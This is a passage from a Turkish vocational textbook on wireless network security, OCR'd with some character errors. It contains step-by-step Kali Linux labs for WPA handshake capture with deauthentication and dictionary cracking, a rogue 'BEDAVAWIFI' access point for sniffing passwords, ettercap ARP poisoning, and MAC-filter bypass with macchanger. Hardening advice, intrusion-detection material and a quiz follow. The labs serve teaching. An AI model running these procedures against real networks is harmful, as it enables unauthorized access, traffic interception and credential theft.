Bunlara Bagh Cihazlar Hakkinda Bilgi Toplama

Diger sayfadaki islem adimlarina gére airodump-ng aracini kullanarak cevredeki erisim
noktalarini tespit ediniz.

294 I Kablosuz Ag Glivenligi



1. Adim: Ag kartinin gerekli kurulumunu yaptiktan sonra Kali isletim sistemi konsol ekranina
sudo airmon-ng start wlan0 yazarak ag kartini monitér moda aliniz (Gérsel 9.19).

Gorsel 9.19: airmon-ng araciyla monitor moda gecis

2. Adim: Komut satirina sudo iwconfig yazarak, ag kartinin monitér moda gecip ge¢cmedigini
kontrol ediniz (Gorsel 9.20).

Gorsel 9.20: sudo iwconfig komutuyla monitér mod kontrolii

3. Adim: Ag karti monitér moda gecmisse konsol ekranina sudo airodump-ng wlan0 (ag karti
wlan0 igin) yaziniz.

4. Adim: Kablosuz ag kartinin cevredeki kablosuz cihazlari tespit ettigini ve bunlarla ilgili
bilgileri topladigini gériniz (Gorsel 9.21).

Gorsel 9.21: airodump-ng ile kablosuz cihazlari tespit etme ve bilgi toplama
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Bu uygulamada GNU/Linux sistemlerde kablosuz aglar hakkinda bilgi toplamak igin airodump-
ng aract kullanilmistir. Gorsel 9.21’de goruldigi lizere SSID (<length>), yetkilendirme tird,
kablosuz aga bagli cihazlar, MAC adresleri, yayin yapan cihazin ne kadar siredir acik oldugu,
sifreleme tiir(, kanal numarasi gibi bilgiler elde edilir.

. 2. UYGULAMA

Kali isletim Sistemindeki Airodump-ng Aracini Kullanarak Cevrede Gizlenmis Erisim
Noktalarini (SSID) Bulma

Asagidaki islem adimlarina gére airodump-ng aracini kullanarak cevrede gizlenmis erisim
noktalarini tespit ediniz.

1. Adim: Kali Linux konsol satirina sudo airmon-ng start wlan0 yazarak ag kartini monitor
moda geciriniz.

2. Adim: Komut satirina sudo iwconfig yazarak, ag kartinin monitér modda olup olmadigini
kontrol ediniz.

3. Adim: Komut satirina sudo airodump-ng wlan0 yazarak kablosuz ag i¢in tarama baslatiniz
(Gorsel 9.22).

Gorsel 9.22: Gizli aglarin tespiti

4. Adim: Gizli aglar <length : 0> olarak gosterilmistir (Gorsel 9.23). Bu erisim noktasinin MAC
adresini kullanarak diger bilgileri elde etmek igin komut satirina sudo airodump-ng --bssid
<Hedef MAC Adresi> -¢ <kanal no> wlan0 yaziniz.

Gorsel 9.23: Hedef MAC adresini dinleme islemi
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5. Adim: Biraz bekledikten sonra hedef MAC adresini dinleyerek station ve probes gibi biitiin
bilgileri ekranda goriinlz (Gorsel 9.24). STATION ile bulunan MAC adresi, erisim noktasina bagh
cihazin MAC adresidir. Erisim noktasi MAC adresi ise BSSID bolimiinde gosterilmistir.

Gorsel 9.24: Gizli SSID bilgilerini bulma islemi

. 3. UYGULAMA

Kali isletim Sistemindeki iwlist Aracini Kullanarak Kablosuz Aglar Hakkinda Bilgi Toplama

Asagidaki islem adimlarina goére iwlist aracini kullanarak kablosuz aglar hakkinda bilgi
toplayiniz.

1. Adim: Kali Linux konsol satirina sudo airmon-ng start wlan0 yazarak ag kartini monitor
moda gegiriniz.

2. Adim: Komut satirina sudo iwconfig yazarak, ag kartinin monitér modda olup olmadigini
kontrol ediniz.

3. Adim: Komut satirina sudo iwlist wlan0 scanning yazarak kablosuz ag icin tarama baslatiniz
(Gorsel 9.25).

Gorsel 9.25: iwlist araciyla bilgi toplama
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Bu komut ile yakin ¢evredeki kablosuz erisim cihazlarinin 6zeliklerine ait asagidaki bilgiler
tespit edilir.

SSID (Service Set Identifier): Wi-Fi aginin adidr.

BSSID: Kablosuz interneti dagitan modem veya Access Point MAC adresidir.

Yetkilendirme Turleri: WPA, WPA2, WEP

Sinyal Giicii: Bir modemin sinyal glici dbm kavrami ile ifade edilir. Dbm kelime anlami olarak
sinyal glict seviyesinin desibel cinsinden birimidir. Sinyal glicii bazi dom degerlerine gore farkhlik
gosterir. Ornegin -30 dbm cok giiglii sinyal anlamina gelir. Buradan daha kiigiik degerlere gittikge
bu deger -90’da sonlanir. -90 neredeyse hi¢ gekmeyen bir sinyal glicli anlamina gelir.

Kanal Numarasi: Farkl frekanslarda 1-14 arasi yayin kanali vardir. AP (Erisim Noktasi) ve STA
(istasyon, Kablosuz Ag istemcisi) bir kanaldan iletisim kurar.

MAC Adresi: Ag arabirim kartinin kendine 6zel numarasidir. MAC adresleri 0-9 arasi
rakamlardan ve A-F arasindaki harflerden olusur. Bu adres, ag arabirim karti Uretildigi zaman
Uretici firma tarafindan verilir.

. 4. UYGULAMA

Kali isletim Sistemindeki Airodump-ng Araciyla Kablosuz Agda WPA2 Sifreleme Tiiriinii

Kullanan Erisim Noktalarini Tespit Etme

Asagidaki islem adimlarina gére airodump-ng aracinin encrypt parametresiyle kablosuz
agdaki erisim cihazlarindan WPA2 sifreleme tiirtini kullananlari bulunuz.

1. Adim: Kali Linux konsol satirina sudo airmon-ng start wlanO yazarak ag kartini monitor
moda gegiriniz.

2. Adim: Komut satirina sudo iwconfig yazarak, ag kartinin monitor modda olup olmadigini
kontrol ediniz.

3. Adim: Komut satirina sudo airodump-ng wlan0 --encrypt wpa2 vyazarak kablosuz ag igin
tarama baslatiniz (Gorsel 9.26).

Gorsel 9.26: WPA2 sifreleme kullanan erisim cihazlarinin tespiti
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. SIRA SiZDE

Sanal makine igindeki Kali Linux isletim sisteminde bulunan wifite aracini kullanarak
cevrenizdeki erisim noktalarini tespit ediniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LIiSTESI

OLCUTLER EVET HAYIR

9.3. KABLOSUZ AGLARDA GUVENLIK ZAFiYETLERI

Kablosuz aglarin sagladigi kolay kurulum, esneklik, hareketlilik gibi avantajlar giinimizde

kablosuz ag kullanimini yayginlastirmistir. Kablosuz aglarin kullaniminin artmasi bazi givenlik
endiselerini de beraberinde getirmistir.

Kablosuz aglardaki giivenlik riskleri, kablolu aglardaki risklerle aynidir fakat kablosuz iletisimin
hava ortaminda yapilmasi yeni zafiyetleri ortaya ¢cikarmistir. Bu zafiyetler asagida verilmistir.

9.3.1. Ag Trafiginin Dinlenmesi ve Sifrelemenin Coziilmesi

Kablosuz aglarda erisim cihazlari paylasilan veriyi radyo dalgalari araciligiyla korumasiz
hava ortamina gonderir ve bu veri trafigi ortamdaki diger kablosuz cihazlar tarafindan dinlenip
kaydedilir. Veri paylasiminda kullanilan sifrelemenin zayif olmasi durumunda kota niyetli kisiler
sifrelemenin aciklarini kullanarak veri paketlerini ¢ozebilirler. Coziilen bu paketler sayesinde
yazismalar, parolalar, e-postalar, internette sorf yapan kisilerin kisisel bilgileri veya ilgi alanlari
gibi bilgiler aciga cikabilir.
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5. UYGULAMA

Kali Linux isletim Sistemi Araglarini Kullanarak Kablosuz Agda Dinleme, Saldir Yapma, Veri

Paketi Yakalama ve Bu Paketleri Coziimleme

Asagidaki islem adimlarina gore Kali igindeki airdump-ng araci ile ag ortamini dinleyiniz,
aireplay-ng araci ile hedef cihaza saldiri yapiniz, aircrack-ng araci ile ele gecirilen veri paketlerini
¢OzUmleyiniz ve sifreleri tespit ediniz.

1. Adim: Kali Linux konsol satirina sudo airmon-ng start wlan0 yazarak ag kartini monitor
moda gegiriniz.

2. Adim: Komut satirina sudo iwconfig yazarak, ag kartinin monitér modda olup olmadigini
kontrol ediniz.

3. Adim: Komut satirina sudo airodump-ng wlan0 yazarak ¢cevredeki erisim noktalarini tespit
ediniz.

4. Adim: Hedef cihazin MAC adresini ve kanal numarasini seginiz (Gorsel 9.27).

Gorsel 9.27: Hedef cihaz bilgilerini tespit etme
5. Adim: Komut satirina sudo airodump-ng --bssid Hedef Cihaz MAC Adresi -c Kanal No

wlan0 vyaziniz. Secilen hedef cihazi dinlemeye alarak bu cihaza baglanan istemcileri ve MAC
adreslerini bulunuz (Gorsel 9.28).

Gorsel 9.28: Hedef cihaza baglanan istemci bilgilerini tespit etme
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6. Adim: Komut satirina sudo airodump-ng -c Hedef Cihaz Kanal No --bssid Hedef Cihaz
MAC Adresi -w /root/kali/Desktop/deneme vyaziniz. Secilen hedef cihazla belirtilen kanal
numarasindan baglanti kurup, yapilan gortismelerden bir bilgi paketi yakalayarak deneme.cap

ismi ile masaistline kaydediniz (Gorsel 9.29).

Gorsel 9.29: Hedef erisim noktasi ile istemci cihaz arasina girip veri paketi yakalama

7. Adim: Baska bir komut penceresi aginiz ve komut satirina sudo aireplay-ng --deauth 0
-a —bssid Hedef Cihaz MAC Adresi —c Hedefe Bagl Olan istemci MAC Adresi wlan0 yaziniz. Bu
islem ile hedef erisim noktasi ve istemci cihaz arasina girerek sahte kimlik dogrulama paketleri
gonderiniz (Gorsel 9.30).

Buislemde kullanilan --deauth O ile cok sayida sahte kimlik dogrulama paketini, -a ile parolasini
kirmak istediginiz hedef erisim noktasini, -c ile de hedef erisim cihazina bagh istemcinin MAC

adresini belirttiniz.

Gorsel 9.30: Sahte kimlik dogrulama paketi gnderme

Bu islem sonucunda hedef erisim noktasina bagl cihazin baglantisi sonlanir ve erisim noktasi
ile el sikisma olayi (handshake) gerceklesir (Gorsel 9.31).

Gorsel 9.31: El sikisma (handshake) islemi

8. Adim: Bagka bir komut penceresi aginiz ve komut satirina sudo aircrack-ng -w /home/
kali/Desktop/rockyou.txt /home/kali/Desktop/deneme-01.cap yaziniz (Gorsel 9.32). Bu komut
satiri ile yakalanan deneme-01.cap isimli dosya ¢éziimlenmeye baslar ve masalistiinde bulunan
rockyou.txt isimli dosyadaki sifrelerle karsilastirilarak hedef cihazin WPA sifresi kirihr. WPA sifresi
rockyou isimli dosya icinde olan bir sifre ise ekranda bu sifreyi gosterir, degilse sifre bulunamadi

yazar.

Gorsel 9.32: Sifre ¢oziimleme
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9. Adim: Sifre ¢oziimleme islemi uzun strer. Gorsel 9.33’teki gibi bir ekran gorintisi ile

karsilasincaya kadar bekleyiniz.

Gorsel 9.33: Tamamlanan sifre ¢éziimleme islemi

9.3.2. Sahte Kablosuz Ag Olusturma

Kablosuz aga baglanan yetkisiz kisiler, ortama sahte erisim noktalari ekleyebilirler ya da kendi
kablosuz ag cihazlarini bazi islemlerle bir erisim noktasina dénistlrebilirler. Bu kisiler kablosuz
agin kaynaklarini ya kendileri kullanir ya da baska kisilerle paylasir.

. 6. UYGULAMA

Kali Linux isletim Sistemi Araglarini Kullanarak Sahte Kablosuz Ag Olusturma

Asagidaki islem adimlarina gore Kali icindeki airdump-ng, dhcp3-server, airbase-ng araclarini
kullanip, sahte bir kablosuz ag olusturarak gerekli ayarlari yapiniz.

1. Adim: Kali Linux'a ilgili adaptor baglantisini yaptiktan sonra iwconfig komutu ile arabirimleri
gorunuz.

2. Adim: Komut satirina sudo airmong-ng start wlan0 yazarak ag arabirim kartini monitér
moda gegiriniz.

3. Adim: Komut satirina sudo airodump-ng wlan0 yazarak etraftaki kablosuz erisim noktalarini
kesfediniz.

4. Adim: Komut satirina sudo apt-get install dhcp3-server yazarak DHCP Server’i yikleyiniz.

5. Adim: DHCP Server yiklenmediyse dosyayi internetten indirip, sudo tar -xvfisc-dhcp-server.
tar.gz yazarak yukleyiniz.
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6. Adim: Komut satirina dpkg -i isc.dhcp.server.dep yazarak ilgili paketleri yikleyiniz.

7. Adim: Komut satirina reboot yazarak sistemi yeniden baslatiniz. ilgili .dep paketini sistemi-
nize yiikledikten sonra Kali'yi yeniden baslatiniz.

8. Adim: IP araligi verebilmek i¢in DHCP servisinin conf dosyasini asagidaki gibi diizenleyiniz.
nano /etc/dhcp3/dhcpd.conf
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.255;
option routers 10.0.0.254;
option domain-name-servers 8.8.8.8;
range 10.0.0.1 10.0.0.140;

}

9. Adim: Komut satirina airbase-ng -e BEDAVAWIFI -c 11 -v wlanO yazarak BEDAVAWIFI isimli
sahte kablosuz agi olusturunuz.
10. Adim: at0 adinda sanal arabirim eklemek icin asagidaki kod satirlarini yaziniz.

ifconfig atO up
ifconfig at0 10.0.0.254 netmask 255.255.255.0

11. Adim: Komut satirina route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254 yaza-
rak sahte kablosuz ag icin router ayarlarini yapiniz.

12. Adim: Sahte kablosuz ag icin iptable ayarlarini asagidaki komut satirlarini yazarak olusturu-
nuz.
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT

13. Adim: Komut satirina iptables -t nat -A POSTROUTING -o eth0O -j MASQUERADE yazarak
sahte kablosuz aga gelecek baglantilarin yonlendirilmesini saglayiniz.

14. Adim: Komut satirina dhcpd -d -f -cf /etc/dhcp3/dhcpd.conf atO & yazarak DHCP servisini
baslatiniz.
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15. Adim: Komut satirina echo “1” > /proc/sys/net/ipv4/ip_forward yazarak gelecek IP’leri
yonlendiriniz.

16. Adim: Bu islemlerden sonra BEDAVAWIFI isimli sahte kablosuz ag calismaya baslamistir
(Gorsel 9.34). Olusturulan bu sahte kablosuz ag sayesinde aga baglanan cihazlarin hangi IP
numarasini alip internette hangi sayfalara gittigine, dnschef ile dns yénlendirmesi yaparak bakiniz
veya tcpdump ile HTTP trafiginde parola bilgilerini gériniz.

Gorsel 9.34: Olusan sahte kablosuz ag

9.3.3. Ag Topolojisinin Ortaya Cikmasi

Yetkisiz kisiler tarafindan kablosuz agdaki sifrelemenin ¢ozilmesi durumunda veri trafigi
izlenerek kurumlarin i¢ ag topolojisi ortaya cikarilabilir.

9.3.4. Veri Kaybi ve Veri Kullanma

Kablosuz aga yetkisiz baglanan kisiler; agdaki bilgisayarlar lizerinde saklanan verileri ele
gecirebilirler, agi gizlice izleyerek gonderilen bilgi paketlerini degistirebilirler, saklanan veya
kullanilan verileri kullanilmaz hale getirebilirler.

9.3.5. IP Numaralarinin Yasal Olmayan islerde Kullanilmasi

Yetkisiz kisiler, kablosuz aga eriserek aga bagh cihazlarin IP numaralarini alabilirler ve yasa disi
islerde bu IP numaralarini kullanabilirler.
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ARP (Adres Coziimleme Protokoll), IP adresi bilinen bir bilgisayarin MAC adresini 6grenmeye

yarayan bir protokoldir. ARP tablosunda bilgisayarlarin IP numaralari ve MAC adresleri bulunur.
ARP tablosuna Windows isletim sistemlerinde arp -a, Linux isletim sistemlerinde ise arp yazarak
ulasilabilir. Bir saldirgan, ARP spoofing ile bir sirketten ve kullanicidan hassas verileri ¢alabilir.

Kali Linux isletim Sistemindeki Ettercap Aracini Kullanarak ARP Zehirlemesi Saldirisini Yapma

7. UYGULAMA

Asagidaki islem adimlarina gore Kali igindeki ettercap aracini kullanarak hedef ARP tablolarini
ele gegiriniz.

1. Adim: Kali Linux’a ilgili adaptor baglantisini yaptiktan sonra iwconfig komutu ile arabirimleri
gorunuz.

2. Adim: Komut satirina sudo airmong-ng start wlanO yazarak ag arabirim kartini monitér
moda gegiriniz.

3. Adim: ARP spoofing yapmak icin komut satirina ettercap -G yaziniz veya Applications
menusinden Sniffing/Spoofing > ettercap-graphical seciniz (Gorsel 9.35).

Gorsel 9.35: Ettercap aracini baglatma

4. Adim: Ettercap ekraninin Setup béliminde kablosuz ag karti kullaniyorsaniz wlan0, sanal
makine icinde bir isletim sistemi hedef cihaz ise ethQ seciniz (Gorsel 9.36).

Gorsel 9.36: Ettercap ekraninda wlan0 veya ethO secimi
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5. Adim: Ag karti ayarlarindan sonra host cihazlarini bulmak icin tarama yapiniz (Gérsel 9.37).

Gorsel 9.37: Host cihazlarini tespit etme

6. Adim: Hedef cihazlarin IP numaralarini ve MAC adreslerini listeleyiniz. Bu listeden 192.168.
1.1 (default gateway) secerek Target1 butonunu tiklayiniz.

7. Adim: Hedef cihaz IP numarasini segerek Target2 butonunu tiklayiniz.

8. Adim: Hedefleri belirledikten sonra sag Ust bolimden ARP poisoning kutucugunu secip
atagi baslatiniz (Gorsel 9.38).

Gorsel 9.38: ARP spoofing atagi baslatma

9. Adim: Bu asamalardan sonra bitin ag trafiginin bilgisayariniz Gzerinden aktigini gorindz.
Wireshark yazilimi ile kurban cihazin ag ve internet lizerindeki trafigini izleyiniz.

9.3.6. Verilen Hizmetin Aksatilmasi

Saldirganlarin yaptigi siber ataklar, ag ortamindaki kullanicilarin ag iletisimi icin belirledikleri
kullanici adi ve sifrelerini kullanamamasina veya kullanicilarin web hizmetine baglanamamasina
yol acar. Bu durum, islerin aksamasina neden olur.

Kali Linux isletim Sistemindeki Macchanger Aracini Kullanarak MAC Adresi Filtrelemelerini

8. UYGULAMA

Asma

Diger sayfadaki islem adimlarina gore Kali icindeki macchanger aracini kullanarak MAC
adresini degistiriniz.

306 I Kablosuz Ag Glivenligi



1. Adim: Kali Linux konsol satirinda sudo airmon-ng start wlan0 yazarak ag kartini monitor
moda gegiriniz.

2. Adim: Komut satirina sudo iwconfig yazarak, ag kartinin monitor modda olup olmadigini
kontrol ediniz.

3. Adim: Komut satirina sudo airodump-ng wlan0 yazarak kablosuz ag icin tarama baslatiniz
(Gorsel 9.39).

Gorsel 9.39: Kablosuz ag tarama islemi
4. Adim: Hedef cihaz MAC adresi belirlenmistir (Gorsel 9.40). Bu MAC adresini kullanarak

erisim noktasinin MAC adresini ve diger bilgilerini elde etmek icin komut satirina sudo airodump-
ng --bssid <Hedef MAC Adresi> -c <kanal no>wlan0 yaziniz.

Gorsel 9.40: Hedefi dinleme

5. Adim: Hedef cihazin MAC adresi ve diger bilgileri elde edildikten sonra kendi MAC adresinizi
bulmak icin komut satirina sudo macchanger --show wlan0 yaziniz (Gorsel 9.41).

Gorsel 9.41: Kendi MAC adresini gérme
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6. Adim: Komut satirina sudo ifconfig down yazarak monitér moddan cikiniz (Gorsel 9.42).

Gorsel 9.42: Monitér modu sonlandirma

7. Adim: Komut satirina sudo macchanger --mac= <Hedef Mac Adresi> wlan0 yaziniz. Bu islem
sonucunda MAC adresiniz hedef MAC adresiyle ayni olur (Gérsel 9.43).

Gorsel 9.43: MAC adresi degistirme
8. Adim: Bu islem sonucunda ayni MAC adresine sahip iki cihaz agda bulunmaktadir. Aireplay-

ng ve parametreleri kullanarak hedef cihazi agdan dislriiniiz. Daha sonra monitér moddan
cikarak erisim noktasina yetkisiz baglaniniz.

- SIRA SiZDE

Sanal makine igindeki Kali Linux isletim sisteminde airodump-ng aracini kullanip, hedef

erisim noktasini dinlemeye alarak bu erisim noktasina bagli cihazlari tespit ediniz. Hedef erisim
noktasina bagl cihaza aireplay-ng aracini kullanip, sahte kimlik dogrulama paketleri gondererek
cihazin baglantisini kesiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine goére degerlendirilecektir.

KONTROL LiSTESI

oistnen
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9.4. KABLOSUZ AGLARDA GUVENLIK

Kablosuz ag glivenligi, cevrimici ortamlarda kullanilan verilere yetkisiz kisilerin erismesini
engellemek icin alinan 6nlemlerin batintdur.

Blyiik holdinglerden teknolojiden az anlayan bireylere kadar herkesin bu konuda dikkatli
olmasini gerektiren bircok neden vardir. Bireyler, dnemli bilgilerinin baska kisilerin eline
gecmesiyle istenmeyen sonuclarla karsilasabilir. isletmeler icin ise bdyle bir durumda ekonomik
kayiplardan s6z edilebilir. Glvenli bir kablosuz ag olusturmak icin yapilacak islemler asagida
verilmistir.

9.4.1. Aygit Yazilimlarini Giincelleme

Kablosuz ag cihazlari Ureten firmalar, Urlinlerinde guivenlik agiklari tespit ettiklerinde bunlari
onarmak ve giincellemek icin kendi web sayfalarinda glincelleme dosyalari yayimlar. Glincelleme
islemi periyodik olarak yapilir.

9.4.2. Yonetici islemleri

Yoneticiislemleri kablosuz agda yapilmaz. Uzaktan erisim devre disi birakilir. Routerda yonetici
islevleri gerceklestirilecekse bilgisayar kablosuz aga degil, bir ethernet kablosu ile internete
baglanmalidir.

9.4.3. HTTPS Kullanma

HTTPS, bir web sitesinden goénderilen ve alinan verilerin sifrelenmesini saglar. Bu sadece
internet kullanicilari icin degil, isletmeler icin de 6nemlidir ¢linklii web sitesinin ziyaretgcilerine
onlari kot amacli faaliyetlerden korumak igin belirli dnlemlerin alindigini gosterir.

9.4.4. Varsayilan Ayarlari Degistirme

Kurulum islemi sirasinda varsayilan kullanici ayarlari, sifreleri ve ana bilgisayar adlari
degistirilmelidir. Rakam, buylk harf / kiigik harf ve 6zel karakterler iceren en az 10 haneli gliclu
bir sifre kullanilmahdir. Varsayilan olarak router modelini veya markasini belirten ad baska bir
isim ile glincellenmelidir.

Ayrica bazi routerlar otomatik olarak WPS (Wi-Fi Protected Setup, Wi-Fi Korumali Kurulum) ile
birlikte gelir. Bu ayar degistirilmelidir cinkti WPS, WPAZ2 ile ¢calisan bir routerin en blyik glivenlik
aciklarindan biridir.

Servis Seti Tanimlayicisi (SSID-Service Set Identifier,) degistirilmelidir ¢inkid bu durum,
bilgisayar korsanlarinin tam olarak ne tir bir router kullanildigini 6grenmelerine yol acar. Belirli
routerlarin kendilerine has glvenlik aciklari vardir. Bu nedenle kotli amagli insanlarin Wi-Fi
sinyallerinin yayilmasi i¢cin tam olarak hangi routerin kullanildigini bilmelerine gerek yoktur.
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9.4.5. Erisim Cihazinin Yeri

Kablosuz internet, radyo sinyallerinin yayinlanmasi yoluyla ¢alisir. Bu nedenle daha gugli bir
Wi-Fi glivenligi icin bu radyo sinyallerine is veya ev disindaki kisilerin erisimi zorlastirilmahdir.
Router sinyal mesafesinin uzunlugundan endise duyuluyorsa ayarlamalar manuel olarak da
degistirilebilir.

9.4.6. Sifre Giincelleme

Wi-Fi sifresinin dlzenli olarak degistirilmesi genel Wi-Fi glivenligi acisindan 6nemlidir. Sifreler
uzun ve degisik olmalidir. WPA2 icin kullanilabilecek maksimum sifre uzunlugu 64 karakterdir.

a@x=

Sifrede blyulk ve kicguk harfler, sayilar ve 6zel karakterlerin kullanimi unutulmamalidir. Ay-

rica asla sozlikte bulunabilecek bir kelime kullanilmamaldir ¢linki bunlar sézlik saldirilari ile
bilgisayar korsanlari tarafindan kirilabilir.

9.4.7. Guivenlik Duvari

Tum routerlarin icinde yerlesik olarak bulunan glvenlik duvarlari (firewall) vardir. Cihazin bu
ozelligi aktif olmalidir. Glvenlik duvarinin durumu routerin yoneticisinden kontrol edilebilir. Bu,
kablosuz ag glivenliginin hayati bir pargasidir.

9.4.8. WPA2 Kullanma

WPA2 sifrelemesinden daha az glvenli olan sistemlerin (WPA, WEP) kirilmasi kolaydir. WEP
cok eski bir sifrelemedir ve iyi bir bilgisayar korsani tarafindan birkag¢ dakika icinde kirilabilir. Tek
secenek WEP ise kullanilan cihazin yazilimi glincellenmelidir.

9.4.9. AES Sifreleme

Routerin tek guvenlik protokoll olarak AES (Advanced Encryption Standart, Gelismis Sifre-
leme Standardi) secilmelidir. AES/TKIP secenegi ideal degildir ¢linkii bu durumda router, AES ve
TKIP arasinda gegis yapabilir ancak TKIP’nin glivenlik agiklari vardir.

9.4.10. WPS Ayarlan

WPS, Wi-Fi korumali kurulum anlamina gelir ve genellikle routerin alt kisminda bulunan sekiz
rakaml bir koddan olusur. WPS, routerin WPA2 kablosuz agina baska bir giris noktasi gorevi gordr.
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9.5. KABLOSUZ AG SALDIRI TESPIT SiSTEMLERI

istenmeyen durumlarin tespitinde kullanilan sistemlere saldiri tespit sistemi denir. Kablolu ve
kablosuz aglarda istenmeyen durumlarin tespiti icin bircok saldiri tespit sistemi gelistirilmistir.
Bir glivenlik uygulamasi olan saldiri tespiti, siber saldirilari en aza indirmek ve yeni tehditleri
engellemek icin kullanilir. Saldiri tespit sistemleri, uygulama yontemlerine ve uygulandiklari
ortama gore cesitli siniflara ayrilir.

9.5.1. Kablosuz Ag Saldiri Tespit Sistemleri (WIDS)

WIDS; agdaki erisim noktalarinin dogrulanmasini, orada olmamasi gereken veya glivenlik
sorunlari olan noktalarin belirlenmesini, AP’lere yonelik saldirilarin tespit edilmesini saglayan
sistemlerdir.

WIDS Araglari

AP menzilindeki RF trafigini koklamak ve cihazlari tanimlamak icin araclar mevcuttur. Bu
araglarin agik kaynakl ve Ucretli gesitleri vardir. Bunlari kullanmak, yetkisiz cihazlarin kesfedil-
mesini ve glivenligi kirma girisimlerinin 6grenilmesini saglar. Bu araglar, bilgileri glinlige kaydeder
ve bir ihlal girisimi kesfettiklerinde kullaniciya uyari verir.

Kali Linux isletim sisteminde bulunan Kismet, 802.11 i¢in tasarlanmis bir kablosuz ag
detektoriidiir. Menzil igindeki tiim cihazlarin tanimlanmasi veya tek bir cihazin izlenmesi
dahil olmak {izere birden fazla kullanima sahiptir. izinsiz giris tespiti icin bu arag kullanilabilir.

9.5.2. Kablosuz Ag Saldiri Onleme Sistemi (WIPS)

Kablosuz saldiri dnleme sistemi (WIPS), bir radyo spektrumunu izleyerek ve olagandisi ag
etkinligi arayarak yetkisiz ag erisimini 6nler. WIPS; hileli erisim noktalarini belirlemeye, glivenlik
profesyonellerinin olasi sahtekarlik saldirilarina, ortadaki adam saldirilarina veya hizmet reddi
saldirilarina hazirlanmasina yardimci olabilir.

Kablosuz saldiri 6nleme sistemi, harici bir kablosuz yonlendirici veya baska bir ekipman
kullanilarak agda glivenlik aciginin dnlenmesine yardimci olabilir. WIPS bunu sinyallerin agin
rutin parcalart mi, mesru erisim noktalari mi oldugunu veya belirli bir etkinligin yetkisiz olup
olmadigini belirleyerek yapar. Glivenlik sistemleri daha sonra olasi saldirilara yanitlar olusturur.

a@x=

Saldiri engelleme sistemi yazilimlari; Snort, Suricata, Bro (Zeek) ve OSSEC'dir.
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- SIRA SiZDE

Sanal makine igindeki Kali isletim sistemine snort.org adresinden saldiri engelleme yazilimi
Snort programini kurup gerekli ayarlari yapiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine goére degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR
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OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde parantez igine yargilar dogru ise “D”, yanlig ise “Y” yaziniz.
1. ( ) Kablosuz ag cihazlari radyo frekanslarini kullanarak ¢ahsir.

2. ( ) Kablosuz ag standartlarini IEEE belirler.

3.( ) WLAN, kablosuz ag protokoltdur.

4. ( ) Kablosuz ag kartlarinin dort calisma modu vardir.

5.( ) Aktif ve pasif olmak lzere iki cesit kesif vardir.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

6. Kablo kullanmadan olusturulan ag ¢esiding .......ccccoccvveeivevevecceceiereseee, denir.
7. GUNUMUZAE wvveveeieeeeece e kablosuz ag protokollerinin en ¢ok kullanilanidr.
8. Pasif kesifte kablosuz ag kartl .......cceeevevvveeveievenecceine moduna alinir.

9. Kablosuz aglarda veri trafigini izlemek ve yakalanan veri paketlerinin analizini yapmak igin

KisMet VEYaA ....occveeeeveeeiieeieervreeee e, programlari kullantlir.

10. ARP spoofing saldirisl .....c.ccceeevevervveee e kullanilarak yaptlir.

11. Kablosuz ag guivenligini saglamak icin ag cihazlarinin ..........cccccoeeevevveeieieeceee ozelligi
kapatilir.

C) Asagidaki sorulari dikkatlice okuyarak dogru secenegi isaretleyiniz.

12. Asagidakilerden hangisi kablosuz LAN’larda veri iletiminin gergeklesme seklidir?

A) Cat 5 kablolarla—elektrik sinyalleriyle

B) Fiberoptik kablolarla—elektrik sinyalleriyle
C) Fiberoptik kablolarla—radyo dalgalariyla
D) Havadan—elektrik sinyalleriyle

E) Havadan-radyo dalgalariyla
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13. Asagidakilerden hangisi kablosuz ag standartlarindan degildir?
A) HiperLAN2

B) IEEE 802.11a

C) IEEE 802.11b

D) IEEE 802.11g

E) IEEE 802.11n

14. 802.11b kablosuz LAN standardinin galistigi frekans araligi asagidakilerden hangisidir?
A) 1 GHz

B) 2.4 GHz

C) 3 GHz

D) 4 GHz

E) 5 GHz

15. SSID (Service Set Identifier) teriminin anlami asagidakilerden hangisidir?
A) Erisim cihazinin sinyal glictdur.
B) Filtreleme yontemidir.

C) Kablosuz ag adaptorinin adidir.
D) Kablosuz ag sifreleme metodudur.

E) Kablosuz modemin olusturdugu agin adidir.

16. Ag kartini monitér modda calistirmak icin asagidaki komut satirlarindan hangisi
kullanilir?

A) airmon-ng check kill
B) airmon-ng start wlan0
C) airodump-ng wlan0
D) ifconfig wlan0 down

E) iwconfig

17. Ag kartinin monitér modda olup olmadigl asagida verilen komutlardan hangisi ile
kontrol edilir?

A) aircrack-ng
B) aireplay-ng
C) ifconfig

D) iwconfig

E) iwlist
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18. Asagidakilerden hangisi kablosuz ag giivenligi icin kullanilmaz?

A) Ag trafigi filtreleme
B) Erisim denetimi

C) Erisim kolayhgi

D) Kimlik dogrulama
E) Sinyal gliclendirici

19. Ag kartinin MAC adresini degistirmek i¢in agagidaki komutlardan hangisi kullanilir?
A) aircrack-ng

B) aireplay-ng

C) iwconfig

D) iwlist

E) macchanger

20. Handshake isleminde elde edilen veri paketi asagidaki programlardan hangisi ile analiz
edilir?

A) aircracrk-ng

B) iwlist

C) Kali Linux

D) sudo

E) Wireshark
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KONULAR

10.1. WEB UYGULAMA GUVENLIGI

10.2. WEB SERVISI

10.3. WEB SERVISLERINE YONELIK ZAFIYET iSLEMLERI

10.4. WEB UYGULAMALARINDA OTOMATIZE ARACLARLA ZAFIYET TESPITI

10.5. WEB UYGULAMALARI GUVENLIK DUVARI (WAF) VE UYGULAMA FiLTRELERINi
ATLATMA

NELER OGRENECEKSINiz?

¢ Web uygulamalarinda konfiglirasyon temelli glivenlik zafiyeti islemleri
e Web servislerine yonelik kesif islemleri

¢ Web servislerinin zafiyetleri

¢ URL yonlendirme zafiyeti islemi

e HTTP parametre zafiyeti islemi

¢ Donanimsal glvenlik sistemlerini atlatma

¢ Yazilimsal giivenlik sistemlerini atlatma

ANAHTAR KELIMELER

